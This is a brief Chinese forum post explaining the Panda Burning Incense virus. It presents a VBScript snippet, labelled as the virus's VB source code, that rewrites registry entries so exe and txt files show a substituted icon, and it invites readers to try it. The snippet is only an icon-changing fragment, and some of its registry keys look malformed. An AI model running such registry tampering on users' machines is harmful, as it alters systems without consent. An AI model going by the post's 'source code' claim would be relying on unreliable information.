VB 浅谈熊猫烧香病毒一些原理

熊猫烧香病毒相信大家都知道，一个叫做武汉男生的家伙写的。 其实也没什么，只是综合起来而已，实现了一些可怕的功能。  
这里我公布一下VB源代码
Dim test
Set test = CreateObject("wscript.shell")
test.regwrite "HKEY_CLASSES_ROOT\exefile\defaulticon\", "C:\Documents and Settings\Administrator\桌面\favicon.ico"
test.regwrite "HKEY_CLASSES_ROOT\exe\", "exefile"
Dim tools
Set tools = CreateObject("wscript.shell")
tools.regwrite "HKEY_CLASSES_ROOT\txtfile\defaulticon\", "C:\Documents and Settings\Administrator\桌面\favicon.ico"
tools.regwrite "HKEY_CLASSES_ROOT\txt\", "txtfile"
这只是冰山一角。
这只对图标进行修改，并没有破坏。
VB的朋友们，可以试一试效果。

补充：软件开发 , Vb ,